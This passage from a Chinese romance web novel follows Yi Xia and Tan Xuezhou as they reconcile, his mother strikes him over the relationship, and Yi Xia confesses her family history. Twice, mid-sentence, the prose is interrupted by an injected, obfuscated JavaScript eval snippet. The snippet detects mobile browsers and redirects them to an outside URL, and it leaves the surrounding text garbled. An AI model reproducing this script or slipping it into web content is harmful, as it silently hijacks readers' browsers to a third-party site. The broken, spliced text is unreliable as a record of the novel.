外婆在豪宅做家政,带她住在雇主家里,然后她和雇主家的小公主发生了冲突,准确来说是对方单方面欺负她,把她从楼上推了下去,她脑袋磕到楼底下的花瓶上,严重的脑震荡。 雇主家里给她赔了一笔钱,她被送到了医院住院,从四月底一直住到八月份,才慢慢恢复过来。当时脑震荡情况很严重,也留了一些后遗症,比如她很容易丢三落四,很容易忘记事情,包括病中那三四个月发生的事情都模模糊糊的。 上学之后也因为这些后遗症的影响,她成绩一直不大好,到初中了才突然开窍。 “现在还有后遗症吗?” 宜夏说:“那都是二十年前的事了,怎么可能还有。” 谈雪昼凝视着她,片刻后,轻而含糊地说:“但是我有。” 宜夏没听清:“嗯?” 谈雪昼没回答,而是问:“你还能记得小时候别的事情吗?” 宜夏怔了一会儿,仔细回想,模模糊糊能想起来一点轮廓。她尝试着描述:“……对住院的事还有点印象,当时好像遇见了一个……”不知道怎么定义,宜夏想了下,“玩伴?” 快二十年的事了,宜夏脑子里已经只有一个模糊印象,其余什么都不记得了。 和那个玩伴联系起来的印象,却是一大片寂静的浓绿的春天,以及一双漆黑的,黑磁石一般湿润的眼睛。 - 阑尾炎手术不大,三天之后就能出院了。 这三天,谈雪昼都表现得很到位,照顾她照顾得很好,就好像已经是男女朋友关系那样。 宜夏莫名的心怀忐忑,有种冲动数次涌到喉咙,却强行压制住了,没有问出口。 第三天下午,谈雪昼来医院接她。 办完手续,两个人一前一后往地下车库走。 宜夏酝酿了好几天,终于忍不住问他:“那个。” “之前我说复合,你说是我说的那个意思,所以你答应我了,对不对?” ——她太忐忑了,觉得有点不真实。 谈雪昼转头看她,很耐心:“你要确定多少次?” 宜夏自顾自继续说:“所以复合了的话,现在你就是我男朋友了,对不对?” “对。” “但我觉得有点儿太快了。” 谈雪昼瞟她一眼:“那我,收回我说的话?你再追一会儿?” 宜夏默了片刻:“我就是觉得,如果追的不够久,你会不会觉得我不诚恳,不认真。所以你要不要,再享受一会儿我的追求?” 谈雪昼没说话。 伸手拉开了副驾驶的车门:“进去。” 宜夏撑着车门,看着他,不安等待他的回答。 谈雪昼注视她许久,脸偏向一旁,认输一般,低声说:“我舍不得。” 宜夏怔怔地看着他,片刻后,缓缓地眨眼,偏过脸低下头钻进了车里。 端端正正地坐好,扣好安全带,两只手放在膝盖上目视前方,一声不吭。 谈雪昼开回她住的公寓小区楼下,一路上两个人都没说话。 要下车时,宜夏很镇定地解开安全带,要下车时,突然想起了什么,又坐回原位,慢吞吞看向谈雪昼。 “怎么不下去?” 宜夏从口袋里摸出一小盒糖果,透明玻璃盖,绿色的软糖做成叶子的形状,一股清凉的味道扑面而来。宜夏把糖好好地放在车上:“送你了。你一天吃一颗,吃完的时候,……” 谈雪昼没理解,侧头看她。 宜夏说:“就吃完了,我就再送你一罐。这个牌子的糖很好吃。” 谈雪昼:“……” 这说的是什么废话。 其实宜夏就是赖在车上不太想下去,但磨蹭了几分钟,还是不得不推门下去。她有点想问他要不要上楼坐一会儿,慢吞吞地扯着安全带。 手腕突然被人扯住,后颈握上了一只微凉的手,脑袋被人按住偏转过去,眼前迅速放大了一张脸孔,随后,额头被人贴住,很柔软湿润的触觉。 宜夏瞳孔不自觉放大,放松了身体,迎接这一个温柔的亲吻。 其实只是碰了下,很快松开,谈雪昼揉了揉她头发:“不用追了。” 宜夏呼吸还有点急促,对上他漆黑湿润的眼睛。 他彻底丢盔弃甲,释然说:“反正,我也一直,只会喜欢你。” - 所以,现在就是已经确定关系复合的意思了? 之前谈的时间不够长,分得太快了,宜夏好像没跟他做过什么情侣之间的事。现在算是复合了,宜夏又有点不知所措了。 一上楼,跑回公寓里,宜夏就迫不及待拉开了窗帘朝下看。 她也没想到,自己竟然会跟高中女生初次谈恋爱一样,很舍不得他。 没想到他的车停在楼下,还没走。 宜夏在他的车库里看见过很多只能在车展或者豪车盘点上看见的车,但他经常开出门的却是一辆很老的墨蓝色捷豹,90年代产,车身轮廓形状都很特别,设计语言独特。那辆车似乎是他从舅舅手里继承来的,舅舅开着这辆车纵横驰骋,走遍了北美大陆。 他似乎看见了她撩开窗帘的动作,车打了个双闪,跟她打了声招呼,才徐徐离开。 宜夏心里仿佛揣了一只小鹿,雀跃得不行,摸出手机给他发信息: 【路上注意安全】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037065|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得有点干巴,她又补了个: 【哦】 过了会儿,他回了条语音: 【好】 宜夏没话找话说: 【开车不要玩手机,被交警拍到会扣分】 谈雪昼说: 【那怎么办呢,想跟你说话】 宜夏甜得要命,抱着手机,故作镇定: 【那你待会儿到家了我给你打电话啊】 十分钟过后,宜夏正在收拾东西,他的电话进来了。宜夏接起来,一下不知道说什么,“喂”了一声。 他那边传来关车门,走路的声响。 宜夏依然没话找话:“你还没进门啊?” “这不是,着急跟你打电话吗?” 宜夏耳朵有点儿红,轻声叫他的名字:“谈雪昼。” “嗯。” 宜夏突然问他:“你家里人会叫你什么?蒋……为什么叫你小雪?” 谈雪昼:“……” “这是你的小名吗?”宜夏莫名有点乐不可支,“有点可爱,像小姑娘。” 谈雪昼:“……” “像白雪公主。”宜夏问,“小公主。” 谈雪昼那边传来电梯到达顶层开门的轻响,他说:“行了啊,不要仗着我不在你面前就编排我。” “你在干嘛?” “嗯?”谈雪昼说,“进门,换衣服,跟你打电话。” “那你待会儿干嘛?” “看片子,看策划,看场景方案,还要开个视频会,”谈雪昼很耐心。 宜夏说:“那我会不会打扰你?” “会。” 宜夏愣了下,小声说:“那我挂了啊。你工作吧。” 谈雪昼那边带着一点儿笑,漫不经心说:“就算挂了也会打扰我,因为一直在我脑子里跑。” 宜夏捧着脸颊:“公主,你真的没有谈过恋爱吗?” “没有。” “那你也太会了吧。天生的吗?” 宜夏有点儿腻歪地一直跟他说话,直到手机发烫,才依依不舍地挂断。 摸了下脸,已经烫成一片。 她去洗了个澡,做好护肤,盯着镜子里的自己,莫名笑起来,趴在桌上,整个人好像被轻飘飘的幸福晕眩填满。 - 《清塘山岛日记》的后期还需要她继续盯。 先不管恋爱不恋爱,她肯定不能给他亏钱,这是绝对的。 隔天,忙了一整天的后期,宜夏从录音棚出来,路边停的一辆劳斯莱斯朝她打了个双闪,下车的人叫住了她。 是蒋文府的秘书,请宜夏上车。 蒋文府坐在后座,见她坐进来,温和问她想吃什么菜。 前几天病中太脆弱,得到了爸爸的照顾,宜夏现在没办法跟他说硬话,想了下,报了个餐厅名字。 到餐厅后,吃完饭,蒋文府沉吟片刻,主动跟宜夏提起了想说的事情。 “小夏,你现在跟谈雪昼,是什么关系?” 宜夏垂下头,有些羞赧:“您不是应该看出来了吗?” “是情侣关系,对吧?”蒋文府揉了下眉心,陷入了思索。 宜夏问他:“你之前跟他认识吗?他说是因为你和他家有合作认识的。” “有一点合作,不多。”蒋文府看着她,好一会儿才说,“他家里情况,有些复杂。你现在是怎么想的,只是谈恋爱,还是有更长远的打算?爸爸也好帮你筹算一下。” 宜夏怔了瞬间:“……其实我们之前分手了,这两天才重新在一起。”她顿了下,“所以,我还没想那么多。” “不管怎么样,一定要保护好自己。遇见什么事情,爸爸始终会支持你的。” 宜夏点了点头。 话题莫名有点太郑重,她犹豫了下,想了想,打算主动一点,关心一下爸爸的感情:“你之前说你回国是打算结婚,是什么时候?” 蒋文府手上倒茶的动作一顿,抬起头说:“这个事,还没彻底定下来,也不一定能成。” 宜夏“哦”了声。 对上一辈的感情生活,她说不上太多。 在蒋文府的催促布菜下,她又吃了点东西,蒋文府依旧送她回小公寓。 宜夏脸上抿着一点笑,跟蒋文府告别,明显能看出情绪很高昂。 把人送到,车头掉转,驶入大路,蒋文府点了根雪茄。 前座,秘书回过头来问他:“蒋总,之尧小姐约您去半山商量婚礼的事。” 蒋文府刚刚的温和表情彻底收敛,他沉思片刻:“那就去半山吧。” 车驶入半山别墅区,径直驶入别墅大门。 蒋文府进门,发现平常安静的别墅里不只有谈之尧一个人,多了几个年轻的女孩,以及一个年纪很大的设计师。谈之尧坐在沙发上,懒洋洋地看着婚纱画册,那几个年轻姑娘则围在旁边细致讲解,语气格外小心翼翼。 蒋文府走过去,谈之尧瞟他一眼:“来了?” “之尧。”蒋文府看了眼其他人,示意有话要跟女主人说。 谈之尧懒倦地让人离开,问他:“怎么啦?” 蒋文府说:“婚礼的事,要不要再缓缓。谈老先生那边现在意味不明,也没有首肯。” 谈之尧问他:“我们结婚,跟我爸有什么关系?” “小雪也不一定能接受这件事。” 谈之尧笑了:“他?他又不认我这个妈,我做什么,他都懒得抽空看我。” 蒋文府沉吟片刻,坦白:“之尧,我有一个女儿。前段时间我回国,才找到。” 66. 想把你比作春日 - 宜夏被蒋文府送到公寓门口,进门后开了电脑,心里莫名升起一点不安。 她突然觉得自己好像忘了点什么事。 什么事呢? 她仔细地回想刚刚吃饭时和蒋文府说的话。 蒋文府好像只是提醒了她要注意她和谈雪昼的关系,就像妈妈见到谈雪昼第一眼,也是…… 宜夏脸色突然变了。 她忘了。 最重要的事。 她忘了跟他坦白。 她应该要先让他知道她的家庭情况,知道她妈妈是谁,再让他决定到底要不要接受她的追求的。 不该仗着他喜欢她,就这么不清不楚地在一起了。 一方面宜夏是这样想,另一方面,她却因为这件事格外煎熬。 她在任何人面前都能坦然面对自己的身世,哪怕是关馨,她都没有愧疚,因为关馨已经在她身上讨回去了。 唯独谈雪昼。 没有。 从始至终,他都没有伤害过她,没做过任何对不起她的事情。所以,她在他面前,做不到坦然面对,总是会自卑。 那夜顶着风雪走回公寓,她挑选一朵玫瑰花时的勇气,是从哪里来的?那一刻她也许把一切都抛诸脑后了,可是现在,她又回到了现实世界。 必须面对,不得不面对。 她凝视着手机聊天窗许久。 她这一次不想逃避了,她要告诉他,她身上所有的不堪,把主动权交到他手上,让他来选择,让他来决定。 她愿意把伤害她的权力交到他手上。 如果,他接受不了,她也会坦然承受。 宜夏咬了下唇,拨了个电话过去。 谁知道却没拨通。 宜夏再拨出去,在微信上给他发信息,也没有回音。 她的心突然被一种强烈的不安占据。 其实这种事情,应该面对面讲的。 宜夏想了想,换了身衣服,打车去嘉华汇。她不知道他会不会在家,但莫名的感觉,自己需要第一时间见到他。 - 一个小时前。 谈雪昼开完会,离开工作室,一辆车停在了他面前。 司机是给谈之尧开车的江叔,很礼貌地说:“小雪,小姐想见你。” 谈雪昼揉了下太阳穴,坐上车,问:“有什么事?” “这个我也不清楚。” 谈之尧每次见他,都不提前打电话,直接让人来接。谈雪昼很不喜欢谈之尧这种做派。 她没有尊重过任何人的意见。 他是她最初那段失败婚姻的遗物,是她耻辱的证明,她对他的爱很稀薄。小时候,她把他放在谈默生身边,兴致来了,就飞过来看看他,或者把他带回LA玩一趟,好像他是一个她生出来的玩具。他小时候长得太漂亮了,她把他当娃娃打扮,从来没有注意到,他其实是个有自我意识的人。 小时候的那桩绑架案本来不该拖延那么久,却是因为谈之尧一直没有发现他的失踪,才错过了最初的破案时机。绑架案后,她终于意识到了对他缺乏关心,却逃避身为母亲的责任,满不在乎地把他送回了谈默生身边。 那桩绑架案给他造成的心理阴影太严重,他很长一段时间没有办法开口说话,没有办法接触任何人,甚至陷入了精神衰退之中。看过很多心理医生,后来,才渐渐好起来。 等到他长大了,她记起来了有他这个儿子,开始捡回母亲的威严,试图干涉他的学业和工作,每次却都是发号施令,那样强势不容辩驳,以为他还是她的附属物。 她没学会过尊重,因为她一直高高在上,俯瞰所有人,哪怕他是她的儿子。 她从来没有长大过,哪怕她已经五十岁了,心智却一直是二十岁的港岛明珠,骄纵公主。 车在半山别墅停下。 谈雪昼被佣人迎进去,谈之尧不在客厅。 家里阿姨捧来温水和毛巾。 谈雪昼洗了手,原地擦了半分钟,才不紧不慢上楼,去到书房。 推开门,谈之尧表情冷淡端坐在书桌后。 “妈。” 他喊。 谈之尧淡淡问:“你还知道我是你妈?” 谈雪昼对接下来会聊到的话题已经有了预料,做好了左耳朵进右耳朵出的消极抵抗准备。 谈之尧问:“你以为我要跟你说什么?我要跟你聊你那些电影?” 谈雪昼敷衍点头:“嗯。没什么前途,小打小闹,辜负您的期望。” 谈之尧说:“但我今天不跟你聊这个。” 她翻了下书桌上的资料,把文件夹丢到谈雪昼身上,“我听说你谈女朋友了。是Richardo的女儿。” 谈雪昼抬起头,刚刚漫不经心的表情缓缓收敛:“你没有必要查她,她只是个普通人。而且我和她……” “我倒是觉得,她不那么普通。”谈之尧说,“文件,翻开,看第一页。” 谈雪昼没有翻,而是站起来,直接把文件丢回书桌:“我已经二十八岁了,妈,不是十八岁,更不是八岁,我知道自己想要什么,知道自己想做什么。” “你不看,是不想看,还是不敢看?你知道她是什么人吗?”谈之尧忍受不了了,怒火攻心,“她是全光毅找的那个女人的女儿!” 谈雪昼表情绷紧,下颌咬住。 谈之尧没从他的眼睛里看见震惊和错愕,片刻后,疑问:“你早就知道?” 谈雪昼说:“从一开始我就知道我在做什么。” “你早就知道?早就知道,还跟她谈恋爱?” 谈雪昼有点厌倦:“她是她,她妈是她妈,与她无关。” 谈之尧几乎要被气晕了,眼眶也红了,胸口剧烈起伏:“她妈把你妈我变成所有人眼里的笑柄,那可是插足你父母婚姻的第三者!你就那么宽容?就那么不在乎?是她给你灌了什么迷魂药了,还是你脑子不清醒?你跟她在一起,就是把我的脸往地上踩!你就是为了报复我!” 谈雪昼冷淡说:“你要这么想的话,那我也无话可说。” 谈之尧见他这副油盐不进的样子,气不打一处来,按着胸口缓了好一会儿,说:“跟她分手。” “我是不可能同意你跟那种女人的女儿在一起的。” 谈雪昼说:“不可能。” “谈雪昼,”谈之尧坐回椅子上,冷笑一声,“我的意见你可以不在乎,爷爷的意见你也不在乎吗?你是不是想把他气死?”顿了下,“爷爷的性格你也知道,你觉得,那种身世的女孩,爷爷会怎么对待她?她能承受多大的压力?” “哪怕她家世清清白白,想嫁进我们家,你说她能不能进得来?” 谈雪昼冷淡说:“她嫁不进来,我就入赘嫁给她。” “混蛋!” 谈之尧被气疯了,随手抄起桌上的青玉子母螭镇纸冲谈雪昼头上砸过去。谈雪昼略略一偏头,镇纸没直直砸中额头正中,但也砸中了额角,顿时青了一大片。 谈雪昼沉默,直直站着。 谈之尧气急:“谈雪昼!” 谈雪昼保持沉默,漠然看着她。 总是这样的冷暴力。 谈之尧强行克制住发怒的冲动,冷着声音:“跟她分手。必须,现在,立刻。” 谈雪昼别过脸,不吭声。 “听没听见我说的,谈雪昼!”谈之尧气急,“你居然,好啊,那么多好姑娘,好女孩儿,你不要,不喜欢,你就是要跟我对着干是不是?你就是恨我?想报复我?报复我从小不照顾你,把你丢在爷爷身边?” 谈雪昼没什么表情,依然保持着沉默。 谈之尧沉下声音来:“我说最后一遍,分手。” “不。” 这是谈雪昼说的唯一一个字。 谈之尧怒火攻心,扬起手。 啪的一声。 一耳光直接把谈雪昼扇得偏过头去。 如此响亮的一声,谈之尧自己都愣住了。 谈雪昼脸颊上浮起鲜明的红色指印。 他抬手用手背按在被打的地方,深呼吸,盯着谈之尧:“妈,这一巴掌,我接受。因为你生下了我,所以,我接受你的愤怒。除此之外,我什么都不会接受。” 说完,他转身就走。 谈之尧终于清醒了过来,声音很尖:“谈雪昼,你走,你今天从这里走出去,你就没有我这个妈!” 谈雪昼回头,直视着她,声音带点嘲讽:“我有过吗?” 他脚步不停往楼下走。 谈之尧奔出书房,指示旁边眼观鼻鼻观心装雕像的佣人保镖:“愣着干嘛,把他给我抓住!” 然而佣人谁都没有动。 谈之尧只好自己追了上去,见谈雪昼头也不回往楼下走,一时之间气急攻心上头,随手抄起走廊陈设的细颈白瓷花瓶朝他背上丢去。花瓶砸中了他的肩膀,摔在地上四分五裂,清脆的声响,仿佛一场宇宙的微型爆炸。 谈雪昼的脚步根本没有被阻挡住。 只是稍稍抬手,按住了被砸的肩膀,往前走没有回头。 - 宜夏到了嘉华汇。 她知道他家门锁密码,却没进门,出了电梯之后,就站在门口等他回来。 也是觉得,他不在家,又没经过他的允许就进他家,有点不礼貌。 她在门口等了一会儿,也不觉得难捱,只是在脑子里不停构思,待会儿要怎么跟他说出口。想着想着,就开始忐忑起来。 等了很久,他的电话还是打不通。 微信也没消息。 但宜夏性格就是那样执拗,她必须要今天告诉他这件事,否则,等到勇气消退,等到对他的不舍和眷恋占据上分,她不确定自己能不能再说出口。 她开始站着,后来腿麻了,蹲了一会儿,最后索性坐在他家门口,靠着大门,默默看着手机。 也许是精神太紧绷,看着看着,她陷入了困倦,抱着膝盖,稍微眯了一会儿。 她是在一阵颠簸中醒过来的。 醒来,有点儿慌,下一刻发现自己被谈雪昼公主抱着进了门。宜夏搂住他的脖颈,下意识问:“你回来了?” “醒了?怎么坐门口,不进去?” 宜夏说:“我在等你回来。”她挣扎了一下,“放我下来。” 谈雪昼放她在沙发上坐下,自己去了中岛台倒水。 宜夏揉了揉眼睛,跟上去,黏在他身后。 谈雪昼转过头来,问她:“想喝点什么?” 宜夏怔怔的:“水就可以了。”她眼神缓缓凝住,问,“你脸,怎么弄的?” 他用拇指擦了擦唇角:“没事,蹭了一下。” 因为她那种惶然不安的眼神而心软,他伸手按住她头顶,漫不经心说:“我没事。你怎么突然跑过来了,给我打那几个电话,有什么事要跟我说?” 他表情浅淡,宜夏却发现,他倒水的时候好像全程只用一只手,另一只手维持着不太自然的下垂。 宜夏有些焦急,急急抬手去碰他额角。 那里一片青紫的淤青,嘴角红肿破损,脸颊也是红肿的,皮肤太白,红肿颜色很深,看起来格外狼狈。 就像被人打了一耳光似的。 谁敢打他? 宜夏心疼得要命,伸手想碰那一块红肿,又不敢真的碰到,迟疑地问:“到底怎么回事?” 谈雪昼看着她,叹了口气:“跟家里吵架了。” 宜夏喃喃:“还动手了?怎么可以这样……太过分了。” 宜夏把人拉去客厅沙发坐下,翻小锅出来煮了几个热鸡蛋,打算拿过来热敷。 她在厨房忙,谈雪昼坐在客厅没动静。 宜夏从厨房探出头,看见的却是他垂着头,露出又长又直的后颈,一段棘突格外明显。半张侧脸,眼睫耷拉着,表情有些倦怠索然。 这是……跟家里吵架,吵得该有多厉害呀。 就算吵架,也不能动手打人啊。 还打耳光。 宜夏心里难受,低头盯着锅里沸腾的热水,突然想,她曾经跟他讨论过很多很多钱还是很多很多爱的选择。 其他人她不确定,但她觉得,他肯定会选择很多很多的爱。 他根本不在乎他拥有的那些很多很多的钱,他的生活简单洁净,从来不享受纸醉金迷的繁丽奢华。 他明明那么好,他的亲人,却好像并不爱他。 宜夏煮好鸡蛋,仔细完整地剥了壳,拿去给谈雪昼消肿。 她还是第一次在他脸上看见那么消沉的神色,在她为他热敷时,却还要维持一点浅淡的笑容。 宜夏用手指抹他的唇角:“别笑了,好难看。” 谈雪昼拉下她的手腕,变回没有情绪的样子。 宜夏把热敷好的鸡蛋收好,声音轻轻的:“你要跟我说说吗?如果不想说的话,我就不问了。” 谈雪昼沉默片刻:“就是有一些矛盾。” 顿了下,“我和我妈,关系一直不好。小时候,她不喜欢我,后来发生了那件事之后,我不肯亲近她,她也不愿意再看到我。一直到现在,每次,见了就吵架,见了就吵架。” 宜夏有点鼻酸,却也不知道怎么安慰他。 因为她的家庭关系也一团乱。 她轻轻拉了一下他一直没动弹的那只手,问:“是不是手也受伤了?” “肩膀那,被砸了一下。” 宜夏小声喃喃:“怎么能这样……”她问,“是不是很疼?你把衣服脱了,我给你上点药敷一下。” 谈雪昼偏过头,瞥她一眼。 宜夏把鸡蛋拿去厨房丢掉,再回到客厅,见他正在慢条斯理地解自己衬衫的纽扣。宜夏脸一下烧红,不知道该不该看,手足无措站在原地。 谈雪昼抬起眼皮,长叹一口气:“好疼。” 宜夏害羞的心一下抛诸脑后了,连忙在他旁边坐下:“要不要我帮你脱?你手能反过来吗?” 谈雪昼双手摊开,慢条斯理说:“脱吧。” 宜夏抑制住耳根的滚烫,从上往下,一颗一颗地解他衬衣的纽扣。胸肌,腹肌,人鱼线,线条紧致,没入束紧的西裤里。 宜夏眼睛都不知道往哪放,瞟到了他肩膀上一大块青紫,顿时僵住了:“怎么会这么严重?” 一点温热湿润的东西落在了肩膀皮肤上。 谈雪昼骤然转过头,抓住她的手:“你哭了?” 宜夏自己都没注意到眼泪涌出来了,她问:“是不是很疼?” “不疼了,宜夏,不疼,别哭。” “那你……心里,会很疼吗?” 跟家人吵架,吵成这样,心里肯定不好受。 在其他事情上,宜夏都能伶牙俐齿地说上两句,可是关于亲情,关于内心真正在乎的东西,她却很难,很难表达清楚。 “我习惯了。” 宜夏看着他漆黑的眼睛,突然凑上去,轻轻吻住他的唇瓣。 他衣服还没穿上,一半肩膀裸露着,那只能动的手抬起来,按住她的后颈。宜夏仰起头,含住他的唇瓣,舌尖轻轻探了进去。唇齿相接,气氛逐渐向上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044481|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攀升,宜夏感觉到后颈那只手向下,按住了她的肩胛骨,缓慢地摩挲着。 唇齿的依偎那么亲密缠绵,一个漫长的吻结束,宜夏脸颊酡红,温柔看着他:“谈雪昼,你好点了吗?” 他一把扯住她的手臂,把她抱到腿上,掐着她的腰紧紧抱住,把头埋在她的肩头。 宜夏为了他的脆弱而心碎,温柔地抱着他的头,手指穿插进后脑的发丝里,轻轻摩挲。 她的心脏好像被劈成了两半,惶惶然,在他这么难过的时候,她真的要跟他坦白那些难堪的事情吗? 他会更难过吗? 宜夏轻轻呼吸,声音也很轻:“谈雪昼,我之前是不是有跟你讲过,我家里的事?” 他声音闷着:“嗯。” “我不知道该不该讲给你听。不知道该不该在这种情况下讲给你听。但是我觉得,你有必要知道。” “嗯。” 宜夏低声说:“我妈妈在大学的时候,跟我爸爸谈恋爱,有了我。但是他们没有结婚,我爸爸去了国外,我妈妈留在国内,跟其他人在一起了。跟她在一起的那个人,”宜夏措辞有点艰难,“你应该知道。是全光毅导演。” 说完,她就陷入了沉默之中。 谈雪昼环着她的手臂缓缓收紧:“我知道。” “你知道吗?” “我知道。”谈雪昼说,“我知道,你不用害怕。” 宜夏怔住了,表情空白。 因为被他那样环抱着,她看不见他脸上的表情,不安全感急剧扩大,她声音发起抖来:“你什么时候知道的?” “很早就知道。”谈雪昼说。 “那你怎么会……” 怎么会,还愿意喜欢我?愿意原谅我? 宜夏眼眶湿热,刚刚的忐忑凝结成泪水,一滴一滴顺着脸颊往下滚,滚落到他的颈窝,沾湿了他的衣领。 谈雪昼松开怀抱,但仍然让她坐在他腿上,抬手擦去她脸上的泪水,低声说:“不要哭,宜夏,我知道,跟你没有关系。” 宜夏情绪却有点崩溃。 她的预想是他知道了这些之后,立刻对她冷淡,对她恶劣,拒绝她,或者最好的情况,他说他需要冷静的空间,让她离开。 这些她都能接受。 她接受不了,他依然温柔,让她不要哭,替她擦眼泪,说与她无关。 青春期无数个无法入睡的晚上,她无声地流着眼泪,想,我妈妈的事,跟我有什么关系。 但所有人都告诉她,与她有关,她应该遭受那些侮辱孤立和霸凌。 她也被说服了。 可是她心里实在是太委屈了。 积蓄了那么多的委屈,原来她心里自始至终藏着那个十六岁未曾长大的孤独少女,只有他把她从孤岛中解放出去。 宜夏泪水决堤,他越替她擦眼泪,她泪水越多,哭得浑身发抖,偏偏又哭不出声。她抓紧他的衣领,浑身发抖,泪水打湿了他胸口衬衫的衣料。 谈雪昼轻轻揉着她的头发,低声说:“宜夏,想哭的话,哭出声音来吧。” 宜夏从满脸的泪水中抬起头来,发着抖去寻找他的唇瓣。 谈雪昼耐心地接受她不安的吻,唇齿相依,她才能得到一点安全感。 起初是单纯的接吻,宜夏的手攥紧了他胸口的衣料,一个吻漫长绵密,唇舌都能尝到泪水的咸味。 后来,她感觉到后颈处的那只手按着她的脑袋,姿势变换,她被他压在了沙发上,变成了他的主动姿势。依然是亲吻,不停的吻,宜夏抱紧他的脖颈,仰着脸,彻底地交付了所有的信任。 吻的温度逐渐将室内点燃。 迷离之间,宜夏身上的毛衣已经褪掉,他身上的衬衫纽扣也重新被尽数解开。 呼吸混乱之际,他稍停半秒,漆黑的眼睛寻找到了她迷离的双眸:“宜夏,可以吗?” 宜夏身体发抖,努力地迎合着他的触碰,嗓子却好像被掐住了,声音却含在唇齿中,发不出来。 她的记忆突然回到了高考后那天,眼瞳有些涣散,身体也变得格外僵硬。 他很耐心地问:“宜夏,好不好?” 宜夏说不出话。 就好像被另一个人占据了身体,明明气氛那么好,她却什么回应都做不出来。 谈雪昼也发现了她的紧绷,知道她没准备好,抱着她缓了缓,没有继续下去。 宜夏好一会儿才挣脱出来,艰难开口:“对不起。” “你跟我道什么歉?” “……所有的事,都对不起。” “宜夏。我再跟你说一遍。”他看着她的眼睛,很温柔,“不需要为这种事情感觉到难过,本来就不是你的错,跟你没有关系。” 顿了下,“喜欢你,是我自愿的。” 宜夏仿佛要溺进那双浓黑的眼睛里,很久才沉闷地说:“你不要对我这么好。” “我不对我女朋友好,对谁好?”谈雪昼低头,耐心地重新给她把毛衣穿好,然后才扣自己的衬衫纽扣。 宜夏突然抓住他的手,仰起脸轻轻恳求:“再试一次,我会好好表现的。” 谈雪昼一顿,片刻后郑重说:“我会等你准备好。不用勉强自己。” “没有勉强……我也很想。”说这种话,宜夏很羞耻,可是她确实是在说心里话,只是刚刚的生理反应她自己控制不了。 谈雪昼把衬衫扣好,紧紧搂住她:“没事,让我抱会儿就行。” 宜夏沉默片刻:“不然,我帮你……用手。” “不用。” 宜夏有点沮丧了:“你不难受吗?” 她其实已经感觉到了他的存在感。 “我可以等你准备好。” 宜夏把头埋在他肩头吸气:“你别对我太好。你太好了,我会害怕。” “害怕什么?” “害怕我在做梦。你其实是我梦见的角色,梦一醒,你就消失了。”宜夏声音很轻,“如果是梦,我希望一直不要醒就好了。” 谈雪昼说:“如果是梦的话,我会醒来,然后在现实中也找到你的。” 宜夏没有出声。 长久以来压在心里最压抑的事情,就这样被他的温柔彻底融化。 宜夏很想做点什么,无论做什么都好,她心里都是很愿意的。 只是身体还没准备好。 宜夏感受着他的温度,感觉到某个地方缓慢地消退下去,一直红着脸,有点煎熬。 附在他耳边低声问:“谈雪昼,那你……你有过经验吗?” “什么经验?” “就是……”宜夏脸很红,“就是你想的那种经验。” “……”谈雪昼说,“我没有遇见你,找谁积累经验?” 宜夏咬了下唇,“哦”了一声,声音很软:“但我可能,还需要一点时间准备。你可以帮我吗?” “帮你什么?” 宜夏有点难以启齿:“其实……我感觉,我对这种事情有点过敏。” 从舒润身上她就发现了这一点。 她还记得唯一的一次,也许是拿了奖之后喝了点酒,气氛很好,舒润感觉已经水到渠成了,要进一步亲密接触。那一次她发现,她最多能够接受亲吻,但是更进一步的接触,哪怕只是被抚摸皮肤,她都完全接受不了,会脸色惨白,手脚冰凉四肢僵硬仿佛木偶,就连呼吸都被抑制。 对亲密接触,她有很强的心理阴影。 但是面对他,她很想,很想正常地表现。 所以她看着他,小声恳求:“你能帮我脱敏吗?” 67. 想把你比作春日 谈雪昼挑了下眉:“怎么脱敏?” 宜夏却不知道怎么说,说出来也会觉得尴尬,只好勉强说:“就,就那样……多亲一下,多抱一下,就会好点儿。” 彻底害羞了,她别过脸小幅度动了动,试图挣开他的怀抱。 谈雪昼把她搂得更紧,声音懒散:“不是要脱敏?动什么动?” “不是这样……” “那是怎么样?教教我?”他的手掌按在了她肩胛骨上。 宜夏咬住嘴唇:“你别这样……你肩膀不疼了么?” “其实一点都不疼。”谈雪昼声音带上了笑意,散漫说,“哄你帮我上药而已。” 宜夏:“……你怎么这样。” 宜夏很想要一直抱着他。 就赖在他身上。 一分钟都不要分开。 他也没有起来做什么事的打算,就那样懒洋洋地搂着她,嗅她颈间清甜的香味,过了好一会儿,突然想起什么:“宜夏,那你是什么时候知道,全光毅是我亲生父亲的?” 宜夏一怔。 谈雪昼从她身体的僵硬中解读出了不少东西,回忆迅速回溯,线索从脑海里跳脱出来,他缓慢问:“是那次在墓园,你妈妈见到了我,告诉了你这件事吗?” 宜夏没想到他能这么敏锐,只好闷闷地“嗯”了一声。 “所以,那天之后,你跟着你妈妈去了江流,不敢见我。再然后,就是去北京,找我分手?” 宜夏:“……” “所以,你跟我分手,说的不想再骗我,是因为身世的事?” 宜夏勉强说:“也有因为利用你良心不安的原因。” “你是不是那个时候就喜欢我了?” 宜夏这次没有犹豫,很快说:“是。” “那你还要主动说分手。” 宜夏把脸埋在他肩头,是一个很依赖的姿势,小声说:“因为,我害怕你知道之后,要跟我分手,所以我先跟你说。” “是真的傻瓜。” “我不想要继续伤害你。我怕你知道我妈妈是谁之后,更愤怒,更难过,觉得被欺骗。当时停住,我是真的觉得,没有谈很久,你不会很喜欢我,不会很难受。” 宜夏时隔几个月,终于能梳理清楚自己当时混乱的心情了。 